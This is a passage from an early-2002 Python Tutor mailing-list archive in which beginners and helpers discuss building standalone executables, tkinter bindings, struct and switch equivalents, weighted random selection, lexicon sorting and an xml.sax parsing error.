another computer running Windows that does not have Python installed on it? Thank you for your help. Scott Durkin http://www.psd.k12.co.us/staff/sdurkin From wheelege@hotmail.com Fri Feb 22 11:44:14 2002 From: wheelege@hotmail.com (Glen Wheeler) Date: Fri, 22 Feb 2002 22:44:14 +1100 Subject: [Tutor] standalone *.exe References: Message-ID: I posted a response to a question like this a little while ago. The short answer is try out py2exe, but also Installer. I like py2exe more, but it's your choice. Here is the link to py2exe (http://starship.python.net/crew/theller/py2exe/) - there is a link to Installer at the bottom of the page if you want to check that out. If you have any problems, don't hesitate to ask :) ----- Original Message ----- From: "Scott Durkin" To: Sent: Friday, February 22, 2002 10:35 PM Subject: [Tutor] standalone *.exe > Hi, > > What is (or is there) the definitive way to create standalone *.exe files > that will function later on another computer running Windows that does not > have Python installed on it? > > Thank you for your help. > > Scott Durkin > http://www.psd.k12.co.us/staff/sdurkin > > > _______________________________________________ > Tutor maillist - Tutor@python.org > http://mail.python.org/mailman/listinfo/tutor > From jonikas@ldr.lt Fri Feb 22 11:49:32 2002 From: jonikas@ldr.lt (Jonikas Valdemaras) Date: Fri, 22 Feb 2002 13:49:32 +0200 Subject: [Tutor] standalone *.exe References: Message-ID: <023c01c1bb96$fdf8e400$12f6c50a@LDR.local> > Hi, > > What is (or is there) the definitive way to create standalone *.exe files > that will function later on another computer running Windows that does not > have Python installed on it? > > Thank you for your help. > > Scott Durkin > http://www.psd.k12.co.us/staff/sdurkin Hi, Try this source: http://starship.python.net/crew/theller/py2exe/ Actually, you will not get alone *.exe file, but you could run your Python programs on computer that does not have Python installed. Regards, Valdas From wheelege@hotmail.com Fri Feb 22 12:24:34 2002 From: wheelege@hotmail.com (Glen Wheeler) Date: Fri, 22 Feb 2002 23:24:34 +1100 Subject: [Tutor] tkinter event question Message-ID: Hi guys, I've come to a little problem with tkinter events. What I want to do, is catch an event and stop the default action from going through while still letting my action happen. Case in point - I have a one line text field, and when the user presses I want a specific function to be called. That all works fine - but after the function has returned from it's business, a '\n' is added to the end of the text field making it two lines. I think I can force the text field to only one line, but I'd rather just stop the default action (add a \n to the text) from happening. I did a few experiments, and found out that the \n was being placed after my function had executed. A nice side-effect of this is that I can't just go text = text[:-1] to chop off the \n - it's added after my function returns! Alright, I just figured out how to solve it... make it an entry widget instead of a text one. Can't believe I didn't think of that. But, still, I'd liek to ask the question - how to emulate the no-newline-char-generated effect of the entry eidget? Does it need to be hardcoded deep into tk? Thanks, Glen From arcege@speakeasy.net Fri Feb 22 13:02:05 2002 From: arcege@speakeasy.net (Michael P. Reilly) Date: Fri, 22 Feb 2002 08:02:05 -0500 Subject: [Tutor] tkinter event question In-Reply-To: ; from wheelege@hotmail.com on Fri, Feb 22, 2002 at 11:24:34PM +1100 References: Message-ID: <20020222080205.A3023@speakeasy.net> On Fri, Feb 22, 2002 at 11:24:34PM +1100, Glen Wheeler wrote: > I've come to a little problem with tkinter events. What I want to do, is > catch an event and stop the default action from going through while still > letting my action happen. > Case in point - I have a one line text field, and when the user presses > I want a specific function to be called. That all works fine - but > after the function has returned from it's business, a '\n' is added to the > end of the text field making it two lines. > I think I can force the text field to only one line, but I'd rather just > stop the default action (add a \n to the text) from happening. I did a few > experiments, and found out that the \n was being placed after my function > had executed. A nice side-effect of this is that I can't just go text = > text[:-1] to chop off the \n - it's added after my function returns! > Alright, I just figured out how to solve it... make it an entry widget > instead of a text one. Can't believe I didn't think of that. But, still, > I'd liek to ask the question - how to emulate the no-newline-char-generated > effect of the entry eidget? Does it need to be hardcoded deep into tk? You can also use unbind_class(). Unfortunately, it affects every Text widget, but it's about the only way to handle the 'default' effect. There are other advantages of using Entry over Text - if you want a Tab- advancing form, Entry widgets will be more friendly. -Arcege From ps0@igmp.com.ar Fri Feb 22 16:39:35 2002 From: ps0@igmp.com.ar (Hector A. Paterno) Date: Fri, 22 Feb 2002 13:39:35 -0300 Subject: [Tutor] Question About Structs Message-ID: <20020222133935.A2183@igmp.com.ar> Hi, Im recently programming in python and I'v one question : Who is the best form in python to replace what in c is called struct ? For example in C I have this struct : struct monitor { char *model; int number; }; My best was to replace this with a DIC : monitor = {'model':'', 'number':} This is correct ? There are a best way to do a struct like this in python ? Tnks ! Pd: Python doesn't has the case statment ? Tnks Again. Best Regards Hector. ----------------------------------------------------------------------------- Fortune : gorgo: *lol* joey: what's so funny? :) shh, joey is losing all sanity from lack of sleep 'yes joey, very funny' Humor him :> -- Seen on #Debian ----------------------------------------------------------------------------- From James.Alexander.McCarney@Cognicase.com Fri Feb 22 16:55:20 2002 From: James.Alexander.McCarney@Cognicase.com (McCarney, James Alexander) Date: Fri, 22 Feb 2002 11:55:20 -0500 Subject: [Tutor] *.exe file for Python Message-ID: <23FD7B1A77E8D211BCB900001D108C02018B29D1@camelot> Isn't there something like freeze or squeeze that you can use to make a Py program into an executable? I think you have to then 'make' it. From rickp@telocity.com Fri Feb 22 17:40:00 2002 From: rickp@telocity.com (Rick Pasotto) Date: Fri, 22 Feb 2002 12:40:00 -0500 Subject: [Tutor] Question About Structs In-Reply-To: <20020222133935.A2183@igmp.com.ar> References: <20020222133935.A2183@igmp.com.ar> Message-ID: <20020222174000.GG19594@tc.niof.net> On Fri, Feb 22, 2002 at 01:39:35PM -0300, Hector A. Paterno wrote: > > Hi, Im recently programming in python and I'v one question : > > Who is the best form in python to replace what in c is called struct ? > > For example in C I have this struct : > > struct monitor { > char *model; > int number; > }; > > My best was to replace this with a DIC : > > monitor = {'model':'', 'number':} > > This is correct ? There are a best way to do a struct like this in python ? Depends on what you want to do/how you need to deal with the data. Sometimes a list (or tuple) will do the job, sometimes a dictionary is more appropriate. If you actually need to deal with "the first four bytes are a long int and the next four bytes are two short ints and the next twenty bytes are a character array (ie, string)" then you can use the struct library. Most of the time lists or dictionaries are better suited. > Pd: Python doesn't has the case statment ? The case statement functionality can be express with: if : elif : elif : else: -- Within the limits of equity, everything is to be accomplished through the free and perfectible initiative of man; nothing is to be achieved by law or by force save universal justice. -- Frédéric Bastiat (1801-1850) Rick Pasotto rickp@telocity.com http://www.niof.net From Nicole.Seitz@urz.uni-hd.de Fri Feb 22 18:31:26 2002 From: Nicole.Seitz@urz.uni-hd.de (Nicole Seitz) Date: Fri, 22 Feb 2002 19:31:26 +0100 Subject: [Tutor] Question About Structs In-Reply-To: <20020222133935.A2183@igmp.com.ar> Message-ID: <5.1.0.14.0.20020222190643.00b44e08@popix.urz.uni-heidelberg.de> At 13:39 22.02.2002 -0300, you wrote: >Hi, Im recently programming in python and I'v one question : > >Who is the best form in python to replace what in c is called struct ? > >For example in C I have this struct : > >struct monitor { > char *model; > int number; >}; > >My best was to replace this with a DIC : > >monitor = {'model':'', 'number':} > >This is correct ? There are a best way to do a struct like this in python ? What about classes?Can't I use a class where I would use a struct in C? > > >Tnks ! > >Pd: Python doesn't has the case statment ? You are right, there's no switch statement in Python. For example, you could use dictionaries as it is shown in "Learning Python": >>> choice = 'ham' >>> print {'spam': 1.25, # a dictionary-based 'switch' ... 'ham' : 1.99, # use has_key() test for default case ... 'eggs' : 0.99, ... 'bacon' : 1.10} [choice] 1.99 I hope someone can explain that.I've just realised that I don't understand this example at all. It looks nice, though. For a Newbie like me the alternative solution with an if statement is better to understand: >>>if choice == 'spam' : ... print 1.25 ... elif choice == 'ham' : ... print 1.99 ... elif choice == 'eggs': ... print 0.99 ... elif choice == 'bacon' : ... print 1.10 ... else: ... print 'Bad choice' ... 1.99 Well, I guess one should prefer the dictionary-based version.Seems to be more flexible. Hope this helps . Nicole > >Tnks Again. > >Best Regards Hector. > >----------------------------------------------------------------------------- >Fortune : > gorgo: *lol* > joey: what's so funny? :) > shh, joey is losing all sanity from lack of sleep > 'yes joey, very funny' > Humor him :> > -- Seen on #Debian >----------------------------------------------------------------------------- > >_______________________________________________ >Tutor maillist - Tutor@python.org >http://mail.python.org/mailman/listinfo/tutor From SWidney@ci.las-vegas.nv.us Fri Feb 22 18:14:30 2002 From: SWidney@ci.las-vegas.nv.us (Scott Widney) Date: Fri, 22 Feb 2002 10:14:30 -0800 Subject: [Tutor] (No Subject) Message-ID: > someone else suggested this with the disclaimer that it > was not very efficient method and was untested: > > def weighted_choice(choices): > tot = 0 > for w,v in choices: > tot = tot + w > d = random.random()*tot > tot = 0 > for w,v in choices: > tot = tot + w > if tot > d: > return v > I understand what this is doing, but I see that it's inefficient because it iterates over the list at least once, possibly twice. It seemed to me that there ought to be a way to rework this so that it only walks the list once. This is what I came up with: ### def weightedPick(weightedList, choice): """ weightedList is of the form: [('symbol', weight), ...] where 0.0 < weight < 1.0 """ if len(weightedList) == 1: return weightedList[0][0] if choice < weightedList[0][1]: return weightedList[0][0] else: return weightedPick(weightedList[1:], (choice - weightedList[0][1])) ### I pulled random() out of the function to make testing easier, but there are probably other benefits as well. The function would probably be called this way: ### import random wList = [('three', .3), ('one', .1), ('four', .4), ('two', .2)] weighedPick(wList, random.random()) ### Some notes: The function doesn't check to see if the sum of the weights =~ 1.0 (why would you want anything else?). A Class that wraps the function and the data could do that. For that matter, the function doesn't ensure that 'choice' is between 0.0 and 1.0; but that's what random.random() returns. Again, I suppose that's a job for the Class. One other thing: I haven't had the chance to run this 1000 or so times to check its accuracy. Does anyone have the time? Scott From dsh8290@rit.edu Fri Feb 22 18:39:10 2002 From: dsh8290@rit.edu (dman) Date: Fri, 22 Feb 2002 13:39:10 -0500 Subject: [Tutor] Question About Structs In-Reply-To: <20020222133935.A2183@igmp.com.ar> References: <20020222133935.A2183@igmp.com.ar> Message-ID: <20020222183910.GA4159@dman.ddts.net> On Fri, Feb 22, 2002 at 01:39:35PM -0300, Hector A. Paterno wrote: | Hi, Im recently programming in python and I'v one question : | | Who is the best form in python to replace what in c is called struct ? | | For example in C I have this struct : | | struct monitor { | char *model; | int number; | }; | | My best was to replace this with a DIC : A dict will work, but often times a class is better. For example : class monitor : def __init__( self , model , number ) : self.model = model self.number = number Then you can create a monitor like : m = monitor( "The Model" , 230 ) print m.model , m.number Attribute access on instance objects is just like member access in C (apart from not needing the derefence operator for pointer-to-struct). | Pd: Python doesn't has the case statment ? Instead use something like : # first define functions for the operations we want to take place def f1() : print "f1" def f2() : print "f2" # define the jump table, note that any hashable object can be the key, # not just 'int' or 'char' switch = { 1 : f1 , 2 : f2 } Notice how functions are objects, just like anything else. The counterpart in C is a pointer-to-a-function. It is this "pointer to a function" that is the value part of the dictionary. # now here we do our "switch" # first get the data to switch on which_op = input( "Enter a choice, 1 or 2 : " ) # now lookup the "case block" the_op = switch[ which_op ] # call the function the_op() HTH, -D -- The fear of the Lord leads to life: Then one rests content, untouched by trouble. Proverbs 19:23 From Felix.Toran@esa.int Thu Feb 21 18:41:31 2002 From: Felix.Toran@esa.int (Felix.Toran@esa.int) Date: Thu, 21 Feb 2002 19:41:31 +0100 Subject: [Tutor] gzip files Message-ID: <41256B67.0064A28C.00@esahqmail3.hq.esa.int> Hi all again! As you say, that files cannot be decompressed using standard modules. I have finally solved the problem just as you say: a os.system( ) call to a UNIX-like tool for windows. The tool is called COMP430D, and can be downloaded from http://garbo.uwasa.fi/pc/unix.html Thanks! Felix. |--------+--------------------------> | | Remco Gerlich | | | | | | | | | 21/02/2002 19:20| | | | |--------+--------------------------> >----------------------------------------------------------------------------| | | | To: tutor@python.org | | cc: (bcc: Felix Toran/cst/ESA) | | Subject: Re: [Tutor] gzip files | >----------------------------------------------------------------------------| On 0, Felix.Toran@esa.int wrote: > I have been trying to decompress a Z file using the gzip module, but I have > found several problems. Please, can someone help me with a short source code > example? > > Thanks a lot in advance. .Z files are compressed using compress, not gzip. I don't know how to decompress them using Python, other than doing an os.system() call to uncompress. -- Remco Gerlich _______________________________________________ Tutor maillist - Tutor@python.org http://mail.python.org/mailman/listinfo/tutor From vlindberg@verio.net Fri Feb 22 17:57:24 2002 From: vlindberg@verio.net (VanL) Date: Fri, 22 Feb 2002 10:57:24 -0700 Subject: [Tutor] Request for comments: Search and replace script Message-ID: <3C768684.3070006@verio.net> Hello, I recently finished writing a search and replace script to automate some of the things I do at work. It does the following: Will search and replace in a single file, all files in a directory, or recursively Will search and replace from a regular expression or a string Excludes all binary files unless --binary argument is given Has include and exclude lists (search and replace in all *.html, but exclude donttouch.html) and a bunch of other stuff too. Most of the work is encapsulated in some fairly reusable classes. You can find it at http://lindbergs.org/vsar.py I would be very appreciative of any comments or patches to it. Particularly, I am interested in: - Things that could make it faster - Things to make it more 'pythonic' - Bugs or logic errors After any suggested improvements have been made, I will be submitting it to useless python, in the hope that it may be more generally useful. Tear into it, Van From lingesh Fri Feb 22 03:53:23 2002 From: lingesh (lingesh) Date: Fri, 22 Feb 2002 11:53:23 +0800 Subject: [Tutor] pda tuts ? Message-ID: <000801c1bb54$799e50b0$0bf112ac@mdtlingesh> This is a multi-part message in MIME format. --Boundary_(ID_8SHsEnWO924GoGpq0dC8aQ) Content-type: text/plain; charset=Windows-1252 Content-transfer-encoding: 7BIT do you know if there are any python tutorials available as a downloadable doc file for the Palm ? I found one at www.memoware.org but i am still looking for more ebooks / tutorials. Maybe some stuff from Alan Gauld or something. Thanks lingesh --Boundary_(ID_8SHsEnWO924GoGpq0dC8aQ) Content-type: text/html; charset=Windows-1252 Content-transfer-encoding: 7BIT
do you know if there are any python tutorials available as a downloadable doc file for the Palm ? I found one at www.memoware.org but i am still looking for more ebooks / tutorials. Maybe some stuff from Alan Gauld or something.
 
Thanks
 
lingesh
--Boundary_(ID_8SHsEnWO924GoGpq0dC8aQ)-- From paulsid@shaw.ca Fri Feb 22 19:15:09 2002 From: paulsid@shaw.ca (Paul Sidorsky) Date: Fri, 22 Feb 2002 12:15:09 -0700 Subject: [Tutor] pda tuts ? References: <000801c1bb54$799e50b0$0bf112ac@mdtlingesh> Message-ID: <3C7698BD.8DA3481E@shaw.ca> lingesh wrote: > do you know if there are any python tutorials available as a > downloadable doc file for the Palm ? I found one at www.memoware.org > but i am still looking for more ebooks / tutorials. Maybe some stuff > from Alan Gauld or something. I don't know of anything specifically for the Palm, but if you get Plucker (http://www.plkr.org/) and install it on your Palm device you can use it to view the many HTML Python tutorials available. And the best part is that the desktop portion of Plucker is written in Python! -- ====================================================================== Paul Sidorsky Calgary, Canada paulsid@shaw.ca http://members.shaw.ca/paulsid/ From Nicole.Seitz@urz.uni-hd.de Fri Feb 22 21:02:31 2002 From: Nicole.Seitz@urz.uni-hd.de (Nicole Seitz) Date: Fri, 22 Feb 2002 22:02:31 +0100 Subject: [Tutor] Newbie In-Reply-To: References: <5.1.0.14.0.20020218214831.00b48a18@popix.urz.uni-heidelberg.de> Message-ID: <5.1.0.14.0.20020222211121.00b8e798@popix.urz.uni-heidelberg.de> > > >Hi Nicole, > > >At the moment, the AddWord() function appends a new lexicon entry into the >file, so all new entries are "tacked on" in the back. One approach to >keep the lexicon sorted is to load the lexicon into memory, sort the >lexicon and then write the whole lexicon back to the file. > >Python lists have a 'sort()' method that you can use to make this work. >Here's an interpreter session that may help: > > >### > >>> names = ['fish', 'sleep', 'their', 'the', 'an', 'big', 'good', >'paris'] > >>> names.sort() > >>> names >['an', 'big', 'fish', 'good', 'paris', 'sleep', 'the', 'their'] >### > >If we want to have the function sort in a different way, we can pass the >sort() method an optional "comparision function" that tells it how two >elements compare to each other. > >For example, let's say that we'd like to sort these strings by length. We >can write this comparision function: > >### > >>> def cmp_by_length(word1, word2): >... return cmp(len(word1), len(word2)) >... > >>> names.sort(cmp_by_length) > >>> names >['an', 'big', 'the', 'fish', 'good', 'paris', 'sleep', 'their'] >### This was quite helpful, so thanx a lot. I wrote these functions which worked well: def ignoreCase(word1,word2): import string word1,word2 = string.lower(word1),string.lower(word2) return cmp(word1,word2) def sort_my_list(mylist): mylist.sort(ignoreCase) return mylist Now I have great difficulties writing the sorted lexicon to file. This is one of the horrible outputs I got: ---------------------------------------------------------------------- fish nHeidelberg nocean nstudents ntourists n fish visleep vi travel vtvisit vt a detan detthe det big adjclever adj in prepto prep ----------------------------------------------------------------------------------------------------------- The input sentence was: Stupid students study in Heidelberg. New words : "stupid", "study" and "Heidelberg" Only "Heidelberg" was added. Why did the first two new entries get lost ? For testing I chose to create a new file to store the sorted lexicon.So my old lexicon is still there in case something goes wrong. And indeed, many things went wrong. I hope my code is at least a bit readable(Sorry, there are hardly comments) for you.I got really confused by my own code!There must be a lot of mistakes. Important are sort_lexicon.py and maybe lexphase2.py. The remaining file is only to understand the whole program. I hope someone has the time to read all this stuff!Thank you! Ok, here we go: veryNewLex.txt ---------------------------------------------------------------------------------------------------- fish n ocean n students n tourists n fish vi sleep vi travel vt visit vt a det an det the det big adj clever adj in prep to prep ----------------------------------------------------------------------------------------------------------------------- sort_lexicon.py ----------------------------------------------------------------------- def ignoreCase(word1,word2): import string word1,word2 = string.lower(word1),string.lower(word2) return cmp(word1,word2) def sort_my_list(mylist): mylist.sort(ignoreCase) return mylist def keepLexSorted(new_entry, partOfSpeech): nested_list =[] file = open("veryNewLex.txt","r") text = file.read() import string paragraphs = string.split(text, '\n\n') for paragraph in paragraphs: new_lists = string.split(paragraph, '\n') if (partOfSpeech == new_lists[0][-1]or partOfSpeech == new_lists[0][-3:] or partOfSpeech == new_lists[0][-4:]) : #this looks strange new_lists.append(new_entry) #is there a better way? sorted_list = sort_my_list(new_lists) sorted_list.append('\n\n') nested_list.append(sorted_list) new_file = open("new_test_lex.txt","w") for list in nested_list: new_file.writelines(list) new_file.close ----------------------------- ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- lexphase2.py -------------------------------------------------------------------------------- def punctuation (list): lastWord = list[-1] if (lastWord[-1] == '!' or lastWord[-1]== '.') : lastWord = lastWord[:-1] list[-1] = lastWord return list def lookupWordInLex(word): file = open('veryNewLex.txt','r') import string while 1: line = file.readline() if not line: break tmp = string.split(line) if tmp: if (word == tmp[0]): cat = tmp[1] return cat file.close() def WordNotFound(unknown_word) : import string print "Couldn't find %s in lexicon!" %string.upper(unknown_word) print "If you want to continue, please add it to lexicon: " addWord() return partOfSpeech --------------------------------------------------------------------------------------------------------------------------------------------------------------------- testfile.py ---------------------------------------------------------------------------------------------------- import string import lexphase2 # Get sentence from user sentence = raw_input("Please enter a sentence: ") print #split input string into tokens wordlist = string.split(sentence) #empty list to store categories wordCat = [] # category for each word : for x in wordlist: Cat = lexphase2.lookupWordInLex(x) if Cat: wordCat.append(Cat) else: NewCat = lexphase2.WordNotFound(x) wordCat.append(NewCat) print lexphase2.punctuation(wordlist) print wordCat # display input table print "-----------------------------------------------------------------------------------" count = 0 print "INPUT ","|","\t", while(count < len(wordlist)): print wordlist[count],"|","\t", count = count + 1 print print "-----------------------------------------------------------------------------------" count = 0 print "LEXICON","|","\t", while(count < len(wordCat)): print wordCat[count],"|","\t","\t", count = count + 1 print print "-----------------------------------------------------------------------------------" count = 0 print "POSITION","|","\t", while(count < len(wordlist)): print count+1 ,"|","\t","\t", count = count + 1 print >I'm sorry I'm rushing things; I'm getting hungry and must get big, fishy >french food. mmm... fooo...good... > > >Please feel free to ask more questions. Good luck to you! From pydan@danshafer.com Fri Feb 22 21:29:51 2002 From: pydan@danshafer.com (Dan Shafer) Date: Fri, 22 Feb 2002 13:29:51 -0800 Subject: [Tutor] No RTF Lib? Message-ID: <3C76B84F.8030106@danshafer.com> I can't seem to locate a library for Python that deals with RTF files. I've searched Python.org and the Vaults for RTF, rich text, and rich. No joy. Can it be that there is no such beast? From urnerk@qwest.net Sat Feb 23 01:26:49 2002 From: urnerk@qwest.net (Kirby Urner) Date: Fri, 22 Feb 2002 17:26:49 -0800 Subject: [Tutor] Request for comments: Search and replace script In-Reply-To: <3C768684.3070006@verio.net> Message-ID: <4.2.0.58.20020222172535.01b0c940@pop3.norton.antivirus> A bit off the mark, but I find it helpful to supply both .py and .html versions of source code, the latter being a little more readable, simply because color coded, in this case ala IDLE's color scheme: http://www.inetarena.com/~pdx4d/ocn/python/replace.html There are resources out there to make this colorizing in HTML automatic. Kirby >You can find it at http://lindbergs.org/vsar.py > >I would be very appreciative of any comments or patches to it. >Particularly, I am interested in: > >- Things that could make it faster >- Things to make it more 'pythonic' >- Bugs or logic errors > >After any suggested improvements have been made, I will be submitting it >to useless python, in the hope that it may be more generally useful. > >Tear into it, > >Van > From kjphotog@juno.com Sat Feb 23 02:45:56 2002 From: kjphotog@juno.com (kjphotog@juno.com) Date: Fri, 22 Feb 2002 18:45:56 -0800 Subject: [Tutor] Tutor digest, Vol 1 #1443 Links Message-ID: <20020222.190106.-244305.0.kjphotog@juno.com> Re: Python tutorials from Erik Price Erik, thanks for your links like www.DevShed.com -wow- that site has a wealth of easy to read/use info about all kinds of programming. In addition to lot's of Python how-to info, there's info on CSS, XML & more. Keith Johnson ________________________________________________________________ GET INTERNET ACCESS FROM JUNO! Juno offers FREE or PREMIUM Internet access for less! Join Juno today! For your FREE software, visit: http://dl.www.juno.com/get/web/. From brett@earthlight.co.nz Sat Feb 23 03:42:17 2002 From: brett@earthlight.co.nz (Brett Shand) Date: Sat, 23 Feb 2002 16:42:17 +1300 Subject: [Tutor] game development In-Reply-To: <20020222.190106.-244305.0.kjphotog@juno.com> Message-ID: <200202230342.QAA22039@mozart.earthlight.co.nz> hi my wife is a montessori teacher has a young man (12) in her class who is a gifted designer but never done any programming at all. he wants to start into game development and has asked me where he might start. so i've been browsing round the game deveopment sites that i can find and find that python is never mentioned as a development language. is there a reason for this? brett From paulsid@shaw.ca Sat Feb 23 04:31:22 2002 From: paulsid@shaw.ca (Paul Sidorsky) Date: Fri, 22 Feb 2002 21:31:22 -0700 Subject: [Tutor] game development References: <200202230342.QAA22039@mozart.earthlight.co.nz> Message-ID: <3C771B1A.503C0696@shaw.ca> Brett Shand wrote: > so i've been browsing round the game deveopment sites that i can > find and find that python is never mentioned as a development > language. is there a reason for this? Yeah, it's slow. For most games you need superfast performance. Python just can't deliver this. (At least not yet.) That's not to say Python is not useful for games, though. It's already been used with success in several commercial games as a scripting language for higher-level parts of the game. Somebody else will provide links I'm sure. Basically these games are constructed in (usually) C until there is enough of a foundation to start adding game elements which are then scripted in Python that interfaces with the C stuff. (I guess this is called a "bottom-up" approach.) It can also be used to model games. The game could be rapidly prototyped and then speed-critical parts could be converted to C or assembler. (This would be the inverse of the above - the "top-down" approach.) Lastly, there is pygame. pygame is a wrapper for a fast and powerful cross-platform graphics, sound, and input library called SDL. This solves a lot of the speed problems, and can be used for some fairly sophisticated games. Check http://www.pygame.org/ for more info, including the project page which has a frequently-updated list of games in progress with pygame. -- ====================================================================== Paul Sidorsky Calgary, Canada paulsid@shaw.ca http://members.shaw.ca/paulsid/ From wheelege@hotmail.com Sat Feb 23 07:38:14 2002 From: wheelege@hotmail.com (Glen Wheeler) Date: Sat, 23 Feb 2002 18:38:14 +1100 Subject: [Tutor] tkinter event question References: <20020222080205.A3023@speakeasy.net> Message-ID: > > You can also use unbind_class(). Unfortunately, it affects every Text > widget, but it's about the only way to handle the 'default' effect. > > There are other advantages of using Entry over Text - if you want a Tab- > advancing form, Entry widgets will be more friendly. > Hmm, ok. I've converted the one-line fields where I want to bind return to entry-s, but for purely academic reasons (and curiosity) would creating a new class which inherited from Text, changed next to nothing, and then unbind_class()-ing that? I'm not sure, as I've never tried it but it feels to me like that could work. The only thing that might make it fail is that there is only one Text widget in tk and unbind_class may either a) not work on the new class which inherits from Text or b) unbind all the text widgets anyway. Hackish ways come to mind to make this work though, using unbind_class...it's all very interesting, but not too productive. Should help my understanding of tcl/tk at any rate :) Thanks, Glen From wheelege@hotmail.com Sat Feb 23 07:40:45 2002 From: wheelege@hotmail.com (Glen Wheeler) Date: Sat, 23 Feb 2002 18:40:45 +1100 Subject: [Tutor] *.exe file for Python References: <23FD7B1A77E8D211BCB900001D108C02018B29D1@camelot> Message-ID: Answered this question twice already - here is a c&p of my last response :- "I posted a response to a question like this a little while ago. The short answer is try out py2exe, but also Installer. I like py2exe more, but it's your choice. Here is the link to py2exe (http://starship.python.net/crew/theller/py2exe/) - there is a link to Installer at the bottom of the page if you want to check that out. If you have any problems, don't hesitate to ask :)" There is also one called freeze, I can't remember the author (Fredrik Lundh?) but last time I heard it was still under development. The final result from py2exe (and, I assume, Installer) is a standalone program - no need for make. ----- Original Message ----- From: "McCarney, James Alexander" To: Sent: Saturday, February 23, 2002 3:55 AM Subject: [Tutor] *.exe file for Python > Isn't there something like freeze or squeeze that you can use to make a Py > program into an executable? I think you have to then 'make' it. > > _______________________________________________ > Tutor maillist - Tutor@python.org > http://mail.python.org/mailman/listinfo/tutor > From kp87@lycos.com Sat Feb 23 09:19:22 2002 From: kp87@lycos.com (kevin parks) Date: Sat, 23 Feb 2002 18:19:22 +0900 Subject: [Tutor] Weighted Random & probability, was (No Subject) Message-ID: First, Sorry about the lack of subject. I was so anxious to send my code and question that i forgot to edit the subject field, Paul, Thanks for taking the time to answer my query on weighted randomness. I can wait to get to my computer and try it out. I've lost my DSL connection (i am in the middle of moving) so i am reading this from an internet cafe. I saw how extensive your replay was and just wanted to soot you a note and let you know that i appreciate your taking the time to answer. Since there is no interpreter here I can't yet try out your code just yet, but it really looks like you've added some nice bells and whistles to it. It may take me a little while to understand exactly the behavior of pick(). I suppose the ideal behavior would be that the weights would add up to 1, or if they didn't the would be scaled to that somehow, but maybe it should complain first though, like '''hey fool, your probabilities don't add up to 1, we'll have to scale them'''. This way the thing still runs if someone mistakenly thinks that the values should add up to 100 or if they just mess up. Anyway I am very excited about this approach and i see that it will allow for much more than a simple function as now methods can be added for further manipulation. Thanks very much I am really anxious to examine this code, perhaps i'll print it out any type it in by hand. Thank you thank you thank you... kevin parks seoul, korea kp87@lycos.com From kp87@lycos.com Sat Feb 23 09:32:35 2002 From: kp87@lycos.com (kevin parks) Date: Sat, 23 Feb 2002 18:32:35 +0900 Subject: [Tutor] Weighted randomness & probability, was: (No Subject) Message-ID: Scott Widney, Thanks for taking the time to reply. I am starting to get a glimpse of what this does now. Your approach below is a sort of 'plug-in' approach, where the user passes in the list and the function random.random(). I suppose one could pass in other functions but i am not sure that in this context it makes much sense to do so. Since that would defeat the purpose of the weights... I'll try running this when i get connected to the net again (no interpreter here). It will be fun to try to compair this engine with the one in Paul's WeightedList class. Thanks, kevin >### >def weightedPick(weightedList, choice): > """ weightedList is of the form: [('symbol', weight), ...] > where 0.0 < weight < 1.0 > """ > if len(weightedList) == 1: > return weightedList[0][0] > if choice < weightedList[0][1]: > return weightedList[0][0] > else: > return weightedPick(weightedList[1:], > (choice - weightedList[0][1])) >### >Some notes: >The function doesn't check to see if the sum of the weights =~ 1.0 (why >would you want anything else?). A Class that wraps the function and the data >could do that. For that matter, the function doesn't ensure that 'choice' is >between 0.0 and 1.0; but that's what random.random() returns. Again, I >suppose that's a job for the Class. > >One other thing: I haven't had the chance to run this 1000 or so times to >check its accuracy. Does anyone have the time? From pierre-yves.verdon@wanadoo.fr Sat Feb 23 13:34:59 2002 From: pierre-yves.verdon@wanadoo.fr (pierre-yves.verdon) Date: Sat, 23 Feb 2002 14:34:59 +0100 Subject: [Tutor] xml parser problem. Message-ID: <3C779A83.9060902@wanadoo.fr> hi, i'm a new python user, and i'm trying to do an xml parser with the library xml.sax. below is the link i've used for my code: http://py-howto.sourceforge.net/xml-howto/node7.html my python version is 2.2_1 (from the freebsd ports) i just tried it and i get the error below. Any help is welcome. pierre-yves Traceback (most recent call last): File "parse.py", line 4, in ? class FindIssue(saxutils.DefaultHandler): AttributeError: 'module' object has no attribute 'DefaultHandler' # #here is the code # from xml.sax import saxutils, handler, make_parser from xml.sax.handler import feature_namespaces class FindIssue(saxutils.DefaultHandler): def __init__(self, title, number): self.search_title, self.search_number = title, number def startElement(self, name, attrs): if name != 'comic': return title = attrs.get('title', None) number = attrs.get('number', None) if title == self.search_title and number == self.search_number: print title, '#'+str(number), 'found' if __name__ == '__main__': parser = make_parser() parser.setFeature(feature_namespaces, 0) dh = FindIssue('sandman', '62') parser.setContentHandler(dh) parser.parse("file.xml") From csmith@blakeschool.org Sat Feb 23 17:47:40 2002 From: csmith@blakeschool.org (Christopher Smith) Date: Sat, 23 Feb 2002 11:47:40 -0600 Subject: [Tutor] Re: why the recompile? Message-ID: Christopher Smith writes: >Hello, > >I am trying to get an installation distributed on a set of iBooks for a >course. I ran compileall on my own installation, copied that to the >master server disk and from there it gets copied onto the individual >iBooks. The hope was to avoid having to recompile every time a new >session is started. (Even though the recompile is done, the installation >is restored to the original set during shutdown of the computer.) > >Here's the problem: when the IDE starts up it recompiles a bunch of >files. For example, codeop.py (created July 18,2001 and modified Aug >19,2001) is recompiled even though the existing codeop.pyc in that >directory has the creation and modification dates of Feb 7, 2002. There >are 68 files in all that are recompiled, located in lib; mac/Lib; >Mac/Tools/IDE; and mac/lib/carbon. > >Why is this recompiling and what can I do to avoid this? The .pyc's date >is more recent than the .py's. In answer to my own question I learned that if one of the libraries in the lib_dynload folder is newer than the .pyc files this will cause the .pyc files to be rebuilt. If you install new library files you will have to recompile all .py files. /c From pierre-yves.verdon@wanadoo.fr Sat Feb 23 18:31:01 2002 From: pierre-yves.verdon@wanadoo.fr (pierre-yves.verdon) Date: Sat, 23 Feb 2002 19:31:01 +0100 Subject: [tutor] xml parser problem. Message-ID: <3C77DFE5.5060102@wanadoo.fr> > >>> from xml.sax import saxutils > >>> dir(saxutils) # note DefaultHandler is present > ['AttributeMap', 'AttributesImpl', 'BaseIncrementalParser', > 'Canonizer', 'ContentGenerator', 'DefaultHandler', 'ESISDocHandler', > 'ErrorPrinter', 'ErrorRaiser', 'EventBroadcaster', > 'LexicalXMLGenerator', 'Location', 'XMLFilterBase', 'XMLFilterImpl', > 'XMLGenerator', '_StringTypes', '__builtins__', '__doc__', '__file__', > '__name__', '_exceptions', '_outputwrapper', 'codecs', 